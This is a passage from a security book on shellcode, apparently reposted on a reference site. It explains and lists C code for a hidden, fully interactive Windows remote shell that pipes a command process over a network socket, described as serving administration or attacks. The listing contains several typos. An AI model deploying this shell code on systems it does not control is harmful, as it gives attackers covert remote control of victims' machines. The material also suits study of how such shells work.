Fully Functional Shell

For comfortable administration of the remote system (as well as for attacking the remote system), the capabilities of the "blind" shell are not enough; therefore, it is no wonder that either administrators or hackers would have the desire to improve its capabilities at least slightly by achieving "transparent" interaction with the terminal. This is quite possible! To achieve this goal, pipes can be helpful.

Pipes, in contrast to sockets, correctly connect to the input/output descriptors, and the generated process operates with them as it would work with the standard local terminal. The only exception is that the WriteConsole calls are never redirected into a pipe. Therefore, the remote terminal won't be able to work with every application.

A correctly-written shell requires at least two pipes to be created: One pipe will serve the standard input, corresponding to the hStdInput descriptor, and another pipe will serve the standard output, corresponding to the hStdOutput and hStdError descriptors. Descriptors of the pipes must be inheritable; otherwise , the child process will be unable to reach them. How is it possible to ensure that the pipe descriptors are inheritable? It is enough to set the bInheritHandle flag to the TRUE value and then pass it to the CreatePipe function with the LPSECURITY_ATTRIBUTES structure initialized in a natural manner.

After that, it only remains to prepare the STARTUPINFO structure and map the standard input and output descriptors to inheritable pipes without failing to set the STARTF_USESTDHANDLES flag; otherwise, redirection of the standard descriptors will be boldly ignored.

The most interesting events are still to come! To map channels to the socket of the remote pipe, it is necessary to implement a special-purpose resident scheduler, which would read the incoming data and redirect them into the socket or into the pipe. The only difficulty is that it must be possible to unlock the check for the presence of data in the socket (or in the pipe); otherwise, two schedulers will be needed, each running in its own thread. This solution is bulky and inelegant.

The platform SDK contains two useful functions: PeerkNamePipe and ioctlsocket . The first function is responsible for unblockable change of the pipe "depth," and the second function serves sockets. With the use of these two functions, input and output scheduling becomes trivial.

Listing 25.2: Key fragment of the fully featured remote shell with the input/output scheduler
image from book
 sa.lpSecurityDescriptor                 = NULL; sa.nLength                              = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle                       = TRUE;  // Allow inheritable handles if (!CreatePipe(&cstdin,  &wstdin,   &sa, 0)) return -1; // Create stdin pipe. if (!CreatePipe(&rstdout,  &cstdout, &sa, 0)) return -1; // Create stdout pipe. GetStartupInfo(&si);                            // Set startupinfo for                                                 // the spawned process. si.dwFlags             = STARTF USESTDHANDLES  STARTF_USESHOWWINDOW; si.wShowWindow         = SW_HIDE; si.hStdOutput          = cstdout; si.hStdError           = cstdout;               // Set the new handles                                                 // for the child process. si.hStdlnput           = cstdin; // Spawn the child process. if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOIE, 0, 0, &si, &pi)) return -1; while(GetExitCodeProcess(pi.hProcess, &fexit) && (fexit == STILL_ACTIVE)) {         // Check to see whether there is any data to read from stdout.         if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)         {                 for (a = 0; a < total; a += MAX_BUF_SIZE)                 {                         ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);                         send(csocket, buf, N, 0);                 }         }         if (!ioctlsocket(csocket, FIONREAD , &N) && N)         {                 recv(csocket, buf, 1, 0);                 if (*buf == '\x0A')  WriteFile(wstdin, "\X0D", 1, &N, 0);                 WriteFile(wstdin, buf, 1, &N, 0);         }         Sleep(1); } 
image from book
 

Having compiled any of the files, such as image from book  bind.c , image from book  reverse.c , image from book  find.c , or image from book  reuse.c , it is possible to obtain a comfortable shell that ensures transparent control over the remote system. However, don't try to run FAR Manager or something of the sort in it, because this won't produce any useful result. There is another problem: If the connection is terminated unexpectedly, all child processes will remain in the memory and retain their sockets, thus preventing them from being reused. If this happens, call Task Manager and kill all such "orphans" manually. It is also possible to carry out this task remotely using kill or another utility.

Also, it would be desirable to equip the shell with the authorization procedure; otherwise, undesirable guests might penetrate your system.



Shellcoder's Programming Uncovered
Shellcoders Programming Uncovered (Uncovered series)
ISBN: 193176946X
EAN: 2147483647
Year: 2003
Pages: 164

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net